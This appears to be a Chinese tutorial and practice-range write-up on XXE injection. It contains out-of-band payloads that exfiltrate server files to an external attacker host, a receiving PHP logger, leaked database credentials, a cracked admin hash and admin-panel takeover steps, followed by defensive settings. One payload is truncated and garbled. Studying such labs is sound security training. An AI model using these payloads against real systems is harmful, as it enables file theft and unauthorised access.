知識(shí)梳理
1. 什么XXE?
XXE = XML External Entity 即外部實(shí)體,從安全角度理解成XML External Entity attack XML外部實(shí)體注入攻擊,簡(jiǎn)單來(lái)說(shuō),XXE就是XML外部實(shí)體注入。當(dāng)允許引用外部實(shí)體時(shí),通過(guò)構(gòu)造惡意內(nèi)容,就可能導(dǎo)致任意文件讀取,系統(tǒng)命令執(zhí)行,內(nèi)網(wǎng)端口探測(cè),攻擊內(nèi)網(wǎng)網(wǎng)站等危害
2. 什么是XML
XML由3個(gè)部分構(gòu)成,它們分別是:
- 文檔類型定義(Document Type Definition,DTD),即XML的布局語(yǔ)言;
- 可擴(kuò)展的樣式語(yǔ)言(Extensible Style Language,XSL),即XML的樣式表語(yǔ)言;
- 可擴(kuò)展鏈接語(yǔ)言(Extensible Link Language,XLL)
XML:可擴(kuò)展標(biāo)記語(yǔ)言,標(biāo)準(zhǔn)通用標(biāo)記語(yǔ)言的子集,是一種用于標(biāo)記電子文件使其具有結(jié)構(gòu)性的標(biāo)記語(yǔ)言。
它被設(shè)計(jì)用來(lái)傳輸和存儲(chǔ)數(shù)據(jù)(而不是儲(chǔ)存數(shù)據(jù)),可擴(kuò)展標(biāo)記語(yǔ)言是一種很像超文本標(biāo)記語(yǔ)言的標(biāo)記語(yǔ)言。
它的設(shè)計(jì)宗旨是傳輸數(shù)據(jù),而不是顯示數(shù)據(jù)。它的標(biāo)簽沒(méi)有被預(yù)定義。您需要自行定義標(biāo)簽。
可擴(kuò)展標(biāo)記語(yǔ)言(XML)和超文本標(biāo)記語(yǔ)言(HTML)為不同的目的而設(shè)計(jì)
它被設(shè)計(jì)用來(lái)傳輸和存儲(chǔ)數(shù)據(jù),其焦點(diǎn)是數(shù)據(jù)的內(nèi)容。
超文本標(biāo)記語(yǔ)言被設(shè)計(jì)用來(lái)顯示數(shù)據(jù),其焦點(diǎn)是數(shù)據(jù)的外觀
XML僅僅是純文本,他不會(huì)做任何事情。
XML可以自己發(fā)明標(biāo)簽(允許定義自己的標(biāo)簽和文檔結(jié)構(gòu))
XML 無(wú)所不在。XML 是各種應(yīng)用程序之間進(jìn)行數(shù)據(jù)傳輸?shù)淖畛S玫墓ぞ撸⑶以谛畔⒋鎯?chǔ)和描述領(lǐng)域變得越來(lái)越流行。
說(shuō)白了這玩意就是個(gè)儲(chǔ)存數(shù)據(jù)的
3. XML文檔結(jié)構(gòu)
XML文檔結(jié)構(gòu)包括XML聲明、DTD文檔類型定義(可選)、文檔元素
<?xml version="1.0" encoding="UTF-8"?>
<!-- ?XML聲明? -->
<!DOCTYPE 文件名 [
<!ENTITY實(shí)體名 "實(shí)體內(nèi)容">
]>
<!-- ?文檔類型定義(DTD)? -->
<元素名稱 category="屬性">
文本或其他元素
</元素名稱>
<!-- ?文檔元素? -->
DTD(文檔類型定義)的作用是定義 XML 文檔的合法構(gòu)建模塊。DTD 可以在 XML 文檔內(nèi)聲明,也可以外部引用。
-
內(nèi)部聲明DTD
-
<!ENTITY 實(shí)體名稱 "實(shí)體的值">
例子
DTD:
<!ENTITY writer "me">
XML:
<author>&writer;</author>
注釋: 一個(gè)實(shí)體由三部分構(gòu)成: 一個(gè)和號(hào) (&), 一個(gè)實(shí)體名稱, 以及一個(gè)分號(hào) (;)。
-
引用外部DTD
-
<!ENTITY 實(shí)體名稱 SYSTEM "URI/URL">
或
<!ENTITY 實(shí)體名稱 PUBLIC "public_ID" "URI">
例子
DTD:
<!ENTITY writer SYSTEM "http://example.com/dtd/writer.dtd">
XML:
<author>&writer;</author>
外部實(shí)體類型有

4. XEE攻擊流程
- 判斷是否存在XXE漏洞
遇到傳參的地方出現(xiàn)了XML代碼格式的東西,傳參一些XML代碼去嘗試看看傳參后是否有報(bào)錯(cuò),頁(yè)面是否顯示了實(shí)體中的東西。 - 通過(guò)外部實(shí)體聲明將目標(biāo)服務(wù)器文件中的內(nèi)容,轉(zhuǎn)碼當(dāng)做值發(fā)送至自己所構(gòu)建的1.xml文件中
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/xxe/1.xml">
%remote;
%send;
]>
- 1.XML將接收的內(nèi)容以GET傳參的方式發(fā)送給2.php
<?xml version=”1.0”?>
<!DOCTYPE ANY[
<!ENTITY % all
“<!ENTITY % send SYSTEM ‘“
>
%all;
]>
- 2.php獲取參數(shù)利用file_put_contents函數(shù),將接收的內(nèi)容輸出到3.txt
<?php file_put_contents(“3.txt”,$_GET[“id”],FILE_APPEND);?>
5. 防御方法
-
使用開(kāi)發(fā)語(yǔ)言提供的禁用外部實(shí)體的方法
-
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
-
過(guò)濾用戶提交的xml數(shù)據(jù)
-
關(guān)鍵字:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
鏈接:https://www.cnblogs.com/backlion/p/9302528.html
靶場(chǎng)地址
http://59.63.200.79:8207
XXE攻擊平臺(tái)
http://59.63.200.79:8017/1.xml
http://59.63.200.79:8017/2.php
http://59.63.200.79:8017/3.txt
-
查看靶場(chǎng),發(fā)現(xiàn)是使用CMS搭建的網(wǎng)頁(yè),下載源碼進(jìn)行代碼審計(jì);

發(fā)現(xiàn)
/weixin/index.php內(nèi)含有simplexml_load_string函數(shù),切未經(jīng)過(guò)濾可能存在XXE漏洞
-
構(gòu)建url鏈接,進(jìn)行傳參測(cè)試
CMS源碼中$signature參數(shù)不等于空時(shí),進(jìn)入判斷語(yǔ)句,傳入傳參?signature=123,在放入xml攻擊語(yǔ)句
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/1.txt">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
%remote;
%send;
]>

頁(yè)面報(bào)錯(cuò),顯示絕對(duì)路徑
-
根據(jù)絕對(duì)路徑修改XML攻擊語(yǔ)句,讀取熟即可配置文件
優(yōu)化xml攻擊語(yǔ)句
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.phpt">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
%remote;
%send;
]>

-
進(jìn)行base64解碼,獲取數(shù)據(jù)庫(kù)連接信息

PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOyAKaGVhZGVyKCJjb250ZW50LXR5cGU6dGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgiKTsKc2Vzc2lvbl9zdGFydCgpOwokY29ubiA9IG15c3FsaV9jb25uZWN0KCIxOTIuMTY4LjAuMTAiLCJ4eGUiLCAidGVpd28hOCM3RVJlMURQQyIsICJzY21zIik7Cm15c3FsaV9xdWVyeSgkY29ubiwnc2V0IG5hbWVzIHV0ZjgnKTsKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgiUFJDIik7CmlmICghJGNvbm4pIHsKICAgIGRpZSgi5pWw5o2u5bqT6L e5o6l5aSx6LSlOiAiIC4gbXlzcWxpX2Nvbm5lY3RfZXJyb3IoKSk7Cn0KJGZ1bmN0aW9uZmlsZT1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkuIi9kYXRhL2Z1bmN0aW9uLmJhcyI7CiRkYXRhZmlsZT0iZGF0YS9kYXRhLmJhcyI7CiRhamF4ZmlsZT0iZGF0YS9hamF4LmJhcyI7CiRhcGlmaWxlPSJkYXRhL2FwaS5iYXMiOwo/Pg==
<?php
error_reporting(E_ALL ^ E_NOTICE);
header("content-type:text/html;charset=utf-8");
session_start();
$conn = mysqli_connect("192.168.0.10","xxe", "teiwo!8#7ERe1DPC", "scms");
mysqli_query($conn,'set names utf8');
date_default_timezone_set("PRC");
-
通過(guò)在線數(shù)據(jù)庫(kù)管理工具連接數(shù)據(jù)庫(kù)
根據(jù)cms源碼猜測(cè)連接數(shù)據(jù)庫(kù)頁(yè)面
http://59.63.200.79:8207/adminer.php

得到加密密碼
e99d2e51cbefe75251f1d40821e07a32進(jìn)行MD5解碼,得到
admintestv1
-
嘗試登陸后臺(tái)

在 SL_config 表內(nèi)發(fā)現(xiàn)郵箱地址,進(jìn)行修改



成功登陸后臺(tái)